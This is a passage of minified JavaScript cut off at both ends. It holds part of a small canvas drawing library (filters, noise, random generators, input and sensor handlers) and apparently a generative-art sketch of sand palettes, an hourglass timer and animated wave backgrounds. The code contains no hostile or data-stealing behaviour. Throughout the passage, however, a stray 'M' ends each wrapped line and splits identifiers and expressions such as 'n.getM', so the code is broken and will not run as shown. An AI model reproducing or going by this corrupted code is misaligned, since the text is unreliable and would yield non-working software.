turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
